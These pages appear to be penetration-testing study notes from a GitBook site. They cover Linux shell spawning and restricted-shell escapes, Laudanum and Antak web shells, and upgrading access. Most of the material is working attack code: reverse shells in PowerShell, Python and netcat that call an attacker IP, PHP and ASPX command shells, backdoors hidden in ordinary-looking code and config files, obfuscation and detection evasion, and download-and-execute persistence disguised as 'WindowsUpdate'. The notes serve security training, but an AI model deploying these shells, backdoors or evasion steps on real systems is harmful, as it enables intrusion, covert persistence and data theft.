  • Widely available: Present on most Unix/Linux systems
  • System function: Direct system command execution
  • Report generation: Original purpose for text processing

Find Command Spawning

Method 1: Find with AWK
find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
Method 2: Direct Execution
find . -exec /bin/sh \; -quit
Method 3: Interactive Find
find /etc -name passwd -exec /bin/sh \;
Find Command Breakdown:
  • Search function: Looks for specified file
  • Execute option (-exec): Runs command when file found
  • Quit option (-quit): Stops after first match
  • Flexible execution: Can execute any binary

VIM Editor Spawning

Method 1: Command Line Option
vim -c ':!/bin/sh'
Method 2: Interactive VIM
vim
:set shell=/bin/sh
:shell
Method 3: VIM Bang Command
vim
:!/bin/sh
VIM Features:
  • Command mode: Execute shell commands
  • Shell setting: Configure default shell
  • Bang commands: Direct command execution
  • Editor escape: Break out of text editing context

Advanced Alternative Methods

Using Less/More Pagers

Less Command:
less /etc/passwd
# Then type: !/bin/sh
More Command:
more /etc/passwd
# Then type: !/bin/sh

Using Man Pages

Man Command:
man ls
# Then type: !/bin/sh

Using ED Editor

ED Line Editor:
ed
!/bin/sh

Using Expect

Expect Spawn:
expect -c "spawn /bin/sh; interact"

Binary and Language Detection

Check Available Interpreters

Programming Languages:
which python python3 perl ruby lua
which awk gawk mawk
which vim nano emacs
which less more man
Shell Interpreters:
cat /etc/shells
which bash sh zsh csh tcsh fish
System Utilities:
which find locate ed sed
which expect script socat

Capability Assessment

Test Command Execution:
# Test basic commands
ls /bin/sh
ls /bin/bash
ls /usr/bin/python*

# Test permissions
ls -la /bin/sh
ls -la /usr/bin/vim

Permission and Privilege Considerations

File Permission Analysis

Check Binary Permissions:
ls -la <path/to/fileorbinary>
Example Output:
-rwxr-xr-x 1 root root 154072 Apr  18  2019 /bin/sh
-rwxr-xr-x 1 root root    35048 Apr  18  2019 /usr/bin/awk
-rwxr-xr-x 1 root root   3027776 Apr  18  2019 /usr/bin/vim
Permission Breakdown:
  • rwx: Owner (read, write, execute)
  • r-x: Group (read, execute)
  • r-x: Others (read, execute)

Sudo Permission Enumeration

Check Sudo Capabilities:
sudo -l
Sample Output:
Matching Defaults entries for apache on ILF-WebSrv:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User apache may run the following commands on ILF-WebSrv:
    (ALL : ALL) NOPASSWD: ALL
Sudo Analysis:
  • NOPASSWD: ALL: Can run any command without password
  • env_reset: Environment variables reset on sudo
  • secure_path: Restricted PATH for sudo commands
Requirements for Sudo Check:
  • Stable interactive shell: TTY required for input
  • Working terminal: Proper shell environment
  • User context: Current user permissions

Privilege Escalation Indicators

High-Privilege Indicators:
# Check for wheel group membership
groups
id

# Check for admin/sudo groups
cat /etc/group | grep -E "(sudo|admin|wheel)"

# Check for interesting SUID binaries
find / -perm -4000 -type f 2>/dev/null | grep -E "(vim|find|awk|perl|python)"

Shell Stability and Improvement

Stabilization Sequence

Step 1: Initial Shell Spawn
# Use any available method from above
python3 -c 'import pty; pty.spawn("/bin/bash")'
# OR
/bin/sh -i
# OR
awk 'BEGIN {system("/bin/sh")}'
Step 2: Environment Configuration
export TERM=xterm-256color
export SHELL=/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Step 3: History and Aliases
# Enable command history
set -o history
# Set useful aliases
alias ll='ls -la'
alias la='ls -A'

Shell Feature Testing

Test Interactive Features:
# Tab completion
ls /etc/<TAB><TAB>

# Command history
history

# Job control
sleep 60 &
jobs
fg

# Signal handling
# Try Ctrl+C, Ctrl+Z

Troubleshooting Shell Issues

Common Problems and Solutions

Problem 1: No Prompt Display
# Solution: Set PS1 variable
export PS1='$ '
# Or more detailed
export PS1='\u@\h:\w\$ '
Problem 2: Commands Not Found
# Solution: Check and set PATH
echo $PATH
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Problem 3: Terminal Size Issues
# Solution: Set terminal dimensions
stty rows 24 columns 80
# Or get current terminal size
stty size
Problem 4: No Tab Completion
# Solution: Enable programmable completion
set -o tabcompletion
# Or load bash completion
source /etc/bash_completion

Shell Escape Techniques

From Restricted Shells:
# Break out of rbash
export PATH=/bin:/usr/bin:$PATH
cd /tmp && exec bash

# Vim escape
vim
:set shell=/bin/bash
:shell

# Less/more escape
less /etc/passwd
!/bin/bash

# Python escape
python -c "import os; os.system('/bin/bash')"

Best Practices for Shell Spawning

Selection Strategy

  1. Assess available resources on target system
  2. Start with most reliable methods (Python, /bin/sh)
  3. Fall back to system utilities if needed
  4. Consider permission requirements for each method
  5. Test shell stability after spawning

Operational Considerations

  1. Minimize noise during shell spawning
  2. Avoid triggering security alerts with unusual commands
  3. Document successful methods for future reference
  4. Plan for shell loss and recovery methods
  5. Understand environment limitations before proceeding

Security Awareness

  1. Monitor process creation that might be logged
  2. Understand command auditing on target system
  3. Consider shell history and logging implications
  4. Plan cleanup procedures for spawned processes
  5. Use appropriate shells for stealth requirements

Conclusion

Linux/Unix systems dominate the server landscape, making shell access skills essential for penetration testers. Success requires:
  • Comprehensive enumeration to identify attack vectors
  • Application-specific research for targeted exploits
  • Shell improvement techniques for effective post-exploitation
  • Multiple spawning methods when primary techniques fail
  • Distribution awareness for platform-specific techniques
  • Programming language utilization for payload delivery
  • Detection evasion strategies for stealthy operations
The key to successful Linux exploitation lies in understanding the target environment, leveraging appropriate tools and techniques, and maintaining situational awareness throughout the engagement. Having multiple shell spawning techniques in your arsenal ensures success even when primary methods are unavailable. Regular practice with different distributions and scenarios will improve proficiency and success rates.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/shells-and-payloads/nix-shells.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Web Shells

Overview

Web shells are server-side scripts that provide remote access to web servers through web browsers. They serve as a critical component in web application penetration testing, allowing attackers to execute commands, upload files, and maintain persistence on compromised web servers.

Why Web Shells Matter

Strategic Advantages:
  • Browser-based access: No special client software required
  • Firewall evasion: Traffic appears as normal HTTP/HTTPS
  • Persistent access: Remains accessible through web interface
  • Platform agnostic: Works across different operating systems
  • Stealth operations: Blends with legitimate web traffic
Common Use Cases:
  • Initial access: Gain foothold through file upload vulnerabilities
  • Persistence: Maintain access after initial compromise
  • Lateral movement: Pivot to other systems from web server
  • Data exfiltration: Download sensitive files through web interface
  • Command execution: Run system commands remotely

Introduction to Laudanum

What is Laudanum?

Laudanum is a comprehensive repository of ready-made web shell files designed for penetration testing and security assessments. It provides a collection of injectable files that can be used to:
  • Receive reverse shell connections
  • Execute commands directly from browser
  • Upload and download files
  • Enumerate system information
  • Establish persistence on web servers

Supported Technologies

Laudanum includes web shells for multiple web application languages:
LanguageExtensionUse Case
ASP.aspClassic ASP applications (IIS)
ASPX.aspxASP.NET applications (IIS)
JSP.jspJava Server Pages (Tomcat, WebLogic)
PHP.phpPHP applications (Apache, Nginx)
CFML.cfmColdFusion applications
Perl.plPerl CGI scripts

Installation and Availability

Default Distributions:
  • Kali Linux: Pre-installed in /usr/share/laudanum
  • Parrot OS: Built-in by default
  • Other Distributions: Manual installation required
Manual Installation:
# Clone from GitHub
git clone https://github.com/laudanum-shells/laudanum.git

# Or download specific release
wget https://github.com/laudanum-shells/laudanum/archive/master.zip

Working with Laudanum

File Locations

Default Path Structure:
/usr/share/laudanum/
├── asp/
│   ├── shell.asp
│   ├── cmd.asp
│   └── upload.asp
├── aspx/
│   ├── shell.aspx
│   ├── cmd.aspx
│   └── upload.aspx
├── jsp/
│   ├── shell.jsp
│   ├── cmd.jsp
│   └── upload.jsp
├── php/
│   ├── shell.php
│   ├── cmd.php
│   └── upload.php
└── cfm/
    └── shell.cfm

Preparation and Customization

Essential Modifications

Before deploying Laudanum shells, several modifications are typically required:
  1. IP Address Configuration: Set attacking host IP for reverse connections
  2. Remove Signatures: Delete ASCII art and obvious comments
  3. Obfuscation: Modify variable names and structure
  4. Authentication: Add password protection if needed

Basic Configuration Steps

Step 1: Copy for Modification
cp /usr/share/laudanum/aspx/shell.aspx /home/tester/demo.aspx
Step 2: Edit Configuration
nano /home/tester/demo.aspx
# or
vim /home/tester/demo.aspx
Step 3: Modify Allowed IPs
// Example from ASPX shell
string[] allowedIps = {"10.10.14.12", "127.0.0.1"};

Security Considerations

Operational Security:
  • Remove identifying markers: ASCII art, author comments, default variables
  • Customize appearance: Change interface styling and text
  • Implement authentication: Add password or session-based protection
  • Limit functionality: Remove unnecessary features to reduce detection risk
Detection Avoidance:
  • Rename files: Use inconspicuous filenames
  • Modify signatures: Change known strings and patterns
  • Use legitimate directories: Place in expected locations
  • Timestamp manipulation: Match file creation times

Practical Web Shell Deployment

Target Environment Setup

For demonstration purposes, we’ll work with a web application that has file upload functionality. Prerequisites:
  • Target web application with upload capability
  • Appropriate file type acceptance (ASP, ASPX, PHP, etc.)
  • Web server write permissions
  • Network connectivity for testing
Environment Configuration:
# Add to /etc/hosts for lab environment
echo "<target_ip> status.inlanefreight.local" >> /etc/hosts

Step-by-Step Deployment

Step 1: Shell Preparation

Copy Laudanum Shell:
cp /usr/share/laudanum/aspx/shell.aspx /home/tester/demo.aspx
Modify Configuration:
// Line 59 - Add your attacking IP
string[] allowedIps = {"10.10.14.12", "127.0.0.1"};
Recommended Modifications:
// Original (REMOVE)
/*
     Laudanum Project
     Copyright (C) 2006-2016 Kevin Johnson and the Laudanum team
     http://laudanum.inguardians.com/
     
     This program is free software; you can redistribute it and/or
     modify it under the terms of the GNU General Public License
     as published by the Free Software Foundation; either version 2
     of the License, or (at your option) any later version.
*/

// Remove ASCII art and obvious signatures
// Change variable names for obfuscation
// Modify interface styling

Step 2: File Upload Process

Locate Upload Functionality:
  • Look for file upload forms on target application
  • Identify upload directories and naming conventions
  • Test file type restrictions and filtering
Upload the Shell:
  1. Navigate to upload functionality
  2. Select modified web shell file
  3. Submit upload request
  4. Note success message and file location
Example Upload Result:
File uploaded successfully to: \\files\demo.aspx

Step 3: Shell Access

Navigate to Uploaded Shell:
# Original path from upload response
status.inlanefreight.local\\files\demo.aspx

# Browser automatically converts to
status.inlanefreight.local//files/demo.aspx
Access Web Shell Interface:
  • Open browser and navigate to shell location
  • Verify shell loads correctly
  • Test command execution functionality

Command Execution Examples

Basic System Information

Windows Commands:
systeminfo
whoami
hostname
ipconfig /all
tasklist
net user
Linux Commands:
uname -a
whoami
hostname
ifconfig
ps aux
cat /etc/passwd

File System Operations

Directory Listing:
# Windows
dir C:\
dir C:\Users\

# Linux
ls -la /
ls -la /home/
File Operations:
# Windows
type C:\Windows\System32\drivers\etc\hosts
copy file.txt C:\temp\

# Linux
cat /etc/hosts
cp file.txt /tmp/

Network Enumeration

Active Connections:
# Windows
netstat -an
arp -a
route print

# Linux
netstat -tulpn
arp -a
route -n

Advanced Web Shell Techniques

Shell Upgrade Strategies

From Web Shell to Reverse Shell

PowerShell Reverse Shell:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.12',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Netcat Reverse Shell (Linux):
nc -e /bin/bash 10.10.14.12 4444
Python Reverse Shell:
python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.12',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"

File Upload and Download

Upload Files via Web Shell:
  • Use built-in upload functionality
  • Transfer tools and payloads
  • Upload privilege escalation exploits
Download Sensitive Files:
# Windows
type C:\Users\Administrator\Desktop\flag.txt
copy "C:\Program Files\App\config.xml" C:\inetpub\wwwroot\files\

# Linux
cat /etc/shadow
cp /etc/passwd /var/www/html/

Web Shell Customization

Custom PHP Web Shell

Minimal PHP Shell:
<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>
<html>
<body>
<form method="GET">
<input type="text" name="cmd" placeholder="Enter command">
<input type="submit" value="Execute">
</form>
</body>
</html>
Advanced PHP Shell with Features:
<?php
session_start();
$password = "test123";

if(!isset($_SESSION['authenticated']) && $_POST['pass'] != $password) {
    echo '<form method="POST"><input type="password" name="pass"><input type="submit" value="Login"></form>';
    exit;
}
$_SESSION['authenticated'] = true;

if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    system($_REQUEST['cmd']);
    echo "</pre>";
}
?>
<html>
<body>
<form method="GET">
<input type="text" name="cmd" value="<?php echo $_REQUEST['cmd']; ?>">
<input type="submit" value="Execute">
</form>
</body>
</html>

Custom ASPX Web Shell

Basic ASPX Command Shell:
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
    void Page_Load(object sender, EventArgs e)
    {
        if (Request["cmd"] != null)
        {
            Process p = new Process();
            p.StartInfo.FileName = "cmd.exe";
            p.StartInfo.Arguments = "/c " + Request["cmd"];
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardOutput = true;
            p.Start();
            Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
        }
    }
</script>
<html>
<body>
<form>
<input type="text" name="cmd" />
<input type="submit" value="Execute" />
</form>
</body>
</html>

Persistence Techniques

Hidden Web Shells

Steganographic Embedding:
<?php
// Legitimate-looking code
function generateReport($data) {
    return array_sum($data) / count($data);
}

// Hidden functionality
if($_GET['debug'] == 'admin') {
    eval($_POST['code']);
}
?>
Configuration File Injection:
// Within existing config file
$config = array(
    'database' => 'localhost',
    'username' => 'dbuser'
);

// Hidden shell
if($_GET['maint']) { system($_GET['cmd']); }

.htaccess Shells

Apache .htaccess Shell:
AddType application/x-httpd-php .htaccess
# <?php system($_GET['cmd']); ?>

Detection and Evasion

Common Detection Methods

Signature-Based Detection:
  • Known web shell signatures in files
  • Suspicious function calls (system, exec, eval)
  • Common web shell strings and patterns
  • File upload monitoring
Behavioral Detection:
  • Unusual command execution patterns
  • Abnormal file access behaviors
  • Suspicious network connections
  • Process creation monitoring
Log Analysis:
  • Web server access logs
  • System command execution logs
  • File modification timestamps
  • Network connection logs

Evasion Techniques

Code Obfuscation

PHP Obfuscation:
<?php
$a = 'system';
$b = $_GET['cmd'];
$a($b);
?>

// Or using base64
<?php
eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7'));
?>
Variable Function Calls:
<?php
$functions = array('system', 'exec', 'shell_exec');
$func = $functions[0];
$func($_GET['cmd']);
?>

Traffic Obfuscation

Encrypted Communication:
<?php
$key = 'secretkey';
$cmd = openssl_decrypt($_POST['data'], 'AES-256-CBC', $key);
system($cmd);
?>
Covert Channels:
<?php
// Command in cookie
if(isset($_COOKIE['session'])) {
    system(base64_decode($_COOKIE['session']));
}
?>

File System Evasion

Timestamp Manipulation:
# Match timestamps to legitimate files
touch -r /var/www/html/index.php /var/www/html/shell.php
Hidden Directories:
# Use hidden directories
mkdir /var/www/html/.config
cp shell.php /var/www/html/.config/update.php

Best Practices and Operational Security

Deployment Guidelines

  1. Reconnaissance First
    • Identify web server technology
    • Determine supported file types
    • Map upload functionality
    • Test file restrictions
  2. Shell Customization
    • Remove identifying signatures
    • Implement authentication
    • Customize appearance
    • Limit functionality as needed
  3. Access Management
    • Use HTTPS when possible
    • Implement session management
    • Monitor access attempts
    • Plan for emergency removal

Security Considerations

  1. Authorization Scope
    • Only deploy on authorized targets
    • Follow engagement rules
    • Document shell locations
    • Remove after testing completion
  2. Operational Security
    • Use encrypted connections
    • Avoid suspicious commands
    • Monitor detection systems
    • Maintain access logs
  3. Cleanup Procedures
    • Remove shells after use
    • Clear access logs if possible
    • Document artifacts created
    • Verify complete removal

Troubleshooting Common Issues

Upload Problems

File Type Restrictions:
# Try different extensions
shell.php -> shell.php.txt -> shell.txt
shell.aspx -> shell.txt -> shell.asp
Size Limitations:
# Create minimal shells
<?php system($_GET['c']); ?>
Content Filtering:
# Obfuscate suspicious strings
str_replace('system', 'sys'.'tem', $func);

Execution Issues

Permission Problems:
# Check file permissions
ls -la shell.php

# Set executable permissions
chmod +x shell.php
Path Issues:
# Use absolute paths
/bin/ls instead of ls
C:\Windows\System32\cmd.exe instead of cmd
Environment Variables:
# Set PATH if needed
export PATH=/usr/local/bin:/usr/bin:/bin

Authorized Testing Only

Requirements:
  • Written authorization for target systems
  • Clear scope definition
  • Agreed-upon testing methods
  • Incident response procedures
Documentation:
  • Record all shell deployments
  • Document access times and activities
  • Maintain evidence chain
  • Prepare removal procedures

Responsible Disclosure

Best Practices:
  • Remove shells immediately after testing
  • Report vulnerabilities to stakeholders
  • Provide remediation guidance
  • Follow coordinated disclosure timelines

Antak Webshell

Introduction to ASPX

What is ASPX?

Active Server Page Extended (ASPX) is a file type/extension written for Microsoft’s ASP.NET Framework. Key characteristics:
  • Server-side technology: Runs on web servers with ASP.NET Framework
  • Dynamic content generation: Web form pages generated for user input
  • HTML conversion: Server-side information converted to HTML
  • Windows integration: Native integration with Windows operating systems

How ASPX Works

Processing Flow:
  1. User request: Browser requests ASPX page
  2. Server processing: ASP.NET Framework processes server-side code
  3. HTML generation: Dynamic content converted to HTML
  4. Client response: HTML sent to user’s browser
Security Implications:
  • Code execution: Can execute server-side commands
  • System interaction: Direct access to underlying Windows OS
  • Framework integration: Leverages .NET Framework capabilities

Antak Webshell Overview

What is Antak?

Antak is a sophisticated web shell built in ASP.NET and included within the Nishang project. It provides:
  • PowerShell integration: Native PowerShell command execution
  • Advanced UI: PowerShell-themed interface
  • Memory execution: Script execution in memory
  • Command encoding: Built-in command obfuscation

Nishang Project Context

Nishang is an Offensive PowerShell toolset that provides:
  • Comprehensive toolkit: Options for entire pentest lifecycle
  • PowerShell focus: Windows-centric attack tools
  • Multiple modules: Various attack and post-exploitation tools
  • Active development: Regularly updated and maintained

Antak Features and Capabilities

Core Functionality

PowerShell Console Simulation:
  • Native PowerShell: Full PowerShell command support
  • Process isolation: Each command executes as new process
  • Interactive interface: Console-like user experience
  • Command history: Previous commands accessible
Advanced Features:
  • File operations: Upload and download capabilities
  • Script execution: Memory-based script execution
  • Command encoding: Automatic command obfuscation
  • SQL integration: Database query capabilities
  • Configuration parsing: web.config file analysis

Technical Advantages

PowerShell Integration:
  • Native Windows: Leverages built-in Windows capabilities
  • Administrative tasks: Full administrative command access
  • .NET Framework: Complete framework functionality
  • Module support: PowerShell module loading
Security Features:
  • Authentication: Built-in user/password protection
  • Access control: Restricted access to authorized users
  • Session management: Secure session handling

Working with Antak

File Location and Setup

Default Location:
/usr/share/nishang/Antak-WebShell/
├── antak.aspx          # Main web shell file
└── Readme.md          # Documentation
File Listing:
ls /usr/share/nishang/Antak-WebShell
antak.aspx  Readme.md

Preparation and Customization

Step 1: Copy for Modification
cp /usr/share/nishang/Antak-WebShell/antak.aspx /home/administrator/Upload.aspx
Step 2: Configure Authentication
// Line 14 - Modify credentials
if (Request.Form["userpassword"] == "htb-student" && Request.Form["password"] == "htb-student")
{
    // Original example
    if (Request.Form["userpassword"] == "Disclaimer" && Request.Form["password"] == "ForLegitUseOnly")
}
Step 3: Security Hardening
// Remove identifying information
/*
    Antak Webshell
    Author: nikhil_mitt
    http://www.labofapenetrationtester.com
*/

// Remove ASCII art and obvious signatures
// Change variable names for obfuscation
// Modify interface styling and text

Practical Antak Deployment

Environment Setup

Prerequisites:
  • Windows server with ASP.NET Framework
  • IIS web server running
  • File upload capability on target application
  • Network connectivity for testing
Lab Configuration:
# Add to /etc/hosts
echo "<target_ip> status.inlanefreight.local" >> /etc/hosts

Deployment Process

Step 1: Upload Modified Shell
  1. Navigate to target application upload functionality
  2. Select modified Upload.aspx file
  3. Submit upload request
  4. Note file location (typically \\files\ directory)
Step 2: Access Web Shell
# Navigate to uploaded shell
status.inlanefreight.local/files/upload.aspx
Step 3: Authentication
  • Enter configured username and password
  • Gain access to Antak interface
  • Verify PowerShell functionality

Initial Shell Access

Login Interface:
Username: htb-student
Password: htb-student
[Login]
Welcome Message:
Welcome to Antak - A Webshell which utilizes PowerShell.
Use help for more details.
Use clear to clear the screen.

Antak Interface and Commands

User Interface Elements

Command Execution:
  • Submit: Execute entered commands
  • Browse: File system navigation
  • Upload the File: File upload functionality
  • Encode and Execute: Obfuscated command execution
  • Download: File download capabilities
  • Parse web.config: Configuration file analysis
  • Execute SQL Query: Database interaction

Basic PowerShell Commands

System Information:
# Get system information
Get-ComputerInfo
systeminfo

# Current user context
whoami
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name

# PowerShell version
$PSVersionTable
File System Operations:
# Directory listing
Get-ChildItem C:\
ls C:\Users\

# File operations
Get-Content C:\Windows\System32\drivers\etc\hosts
Copy-Item file.txt C:\temp\

# Directory navigation
Set-Location C:\inetpub\wwwroot
cd C:\temp
Process Management:
# List processes
Get-Process
tasklist

# Service management
Get-Service
net start
net stop servicename

Advanced Features

File Upload/Download:
# Upload files via interface
# Use "Browse" and "Upload the File" buttons

# Download files
# Use "Download" button with file path
Script Execution:
# Execute scripts in memory
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.12/script.ps1')

# Encoded execution
# Use "Encode and Execute" for obfuscation
SQL Query Execution:
-- Database interaction
SELECT * FROM users;
SELECT name FROM sys.databases;

Advanced Antak Techniques

Upgrading to Full Shell

PowerShell Reverse Shell:
# Execute through Antak interface
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.12',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
    $sendback = (iex $data 2>&1 | Out-String )
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()
Meterpreter Integration:
# Download and execute Meterpreter payload
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.12/payload.ps1')

Persistence Through Antak

Scheduled Tasks:
# Create scheduled task for persistence
schtasks /create /tn "WindowsUpdate" /tr "powershell.exe -ep bypass -c 'IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.12/shell.ps1\")'" /sc daily /st 09:00
Registry Persistence:
# Add registry run key
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsUpdate" -Value "powershell.exe -ep bypass -c 'IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.12/shell.ps1\")'"

Antak vs. Laudanum Comparison

FeatureAntakLaudanum
TechnologyASP.NET/PowerShellMultiple (ASP, PHP, JSP)
InterfacePowerShell-themed UIBasic command interface
AuthenticationBuilt-in user/passwordIP-based restrictions
FeaturesAdvanced (SQL, encoding)Basic command execution
PlatformWindows/.NET focusedCross-platform
Learning CurveModerateEasy
ObfuscationBuilt-in encodingManual modification

Security and Operational Considerations

Detection Signatures

Common Signatures:
// Remove these identifying strings
"Antak"
"nikhil_mitt"
"labofapenetrationtester"
"Nishang"
Variable Obfuscation:
// Original
string userpassword = Request.Form["userpassword"];

// Obfuscated
string up = Request.Form["user"];
string pwd = Request.Form["pass"];

Evasion Techniques

Code Modification:
// Change function names
void ExecuteCommand() -> void ProcessRequest()
void DisplayResult() -> void ShowOutput()

// Modify HTML structure
<title>Antak</title> -> <title>Admin Panel</title>
Traffic Obfuscation:
# Use encoded commands through "Encode and Execute"
# Implement custom encryption for sensitive commands
# Use legitimate PowerShell modules when possible

Learning Resources

IPPSEC Video Resources

Recommended Learning:
  • IPPSEC.rocks: Search engine for penetration testing concepts
  • Keyword search: Search for “aspx” for related demonstrations
  • Video timestamps: Direct links to relevant sections
  • Practical examples: Real-world ASPX shell usage
Specific Recommendations:
  • Cereal walkthrough: ASPX shell demonstration (1:17:00 - 1:20:00)
  • File upload techniques: Various boxes showing upload methods
  • ASPX enumeration: Gobuster and directory discovery

Hands-on Practice

Lab Scenarios:
  1. File upload exploitation: Practice with various upload filters
  2. ASPX shell customization: Modify and deploy custom shells
  3. PowerShell integration: Leverage advanced PowerShell features
  4. Persistence establishment: Use Antak for persistent access

Troubleshooting Antak

Common Issues

Authentication Problems:
// Verify credential configuration
if (Request.Form["userpassword"] == "correctuser" && Request.Form["password"] == "correctpass")

// Check for typos in variable names
// Ensure proper string matching
PowerShell Execution Issues:
# Check PowerShell execution policy
Get-ExecutionPolicy

# Verify .NET Framework version
[System.Environment]::Version

# Test basic PowerShell functionality
$PSVersionTable
File Upload Problems:
# Verify file extension acceptance
.aspx -> .txt -> .asp

# Check file size limitations
# Verify upload directory permissions

Performance Optimization

Memory Management:
# Clear variables after use
Remove-Variable -Name * -ErrorAction SilentlyContinue

# Garbage collection
[System.GC]::Collect()
Connection Stability:
// Implement connection timeouts
// Add error handling for network issues
// Use connection pooling for database operations

Conclusion

Web shells are powerful tools for maintaining access to web servers and executing remote commands through web interfaces. Both Laudanum and Antak provide comprehensive solutions for different scenarios: Laudanum offers:
  • Multi-platform support: ASP, ASPX, PHP, JSP, and more
  • Simple deployment: Ready-to-use files with minimal modification
  • Basic functionality: Command execution and file operations
  • Wide compatibility: Works across different web technologies
Antak provides:
  • PowerShell integration: Native Windows PowerShell capabilities
  • Advanced features: Encoding, SQL queries, file operations
  • User-friendly interface: PowerShell-themed web interface
  • Built-in security: Authentication and session management
Key Takeaways:
  • Multiple technologies: Support for various web platforms
  • Customization required: Modify signatures and add authentication
  • Stealth operations: Blend with legitimate web traffic
  • Upgrade paths: Transition to more advanced shell types
  • Detection awareness: Understand and evade security controls
  • Responsible use: Deploy only on authorized targets
Success with web shells requires understanding target environments, proper customization, and careful operational security. Regular practice with different web technologies and deployment scenarios will improve proficiency and effectiveness in real-world penetration testing engagements. Both Laudanum and Antak serve as excellent starting points for developing advanced web shell capabilities.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/shells-and-payloads/web-shells.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.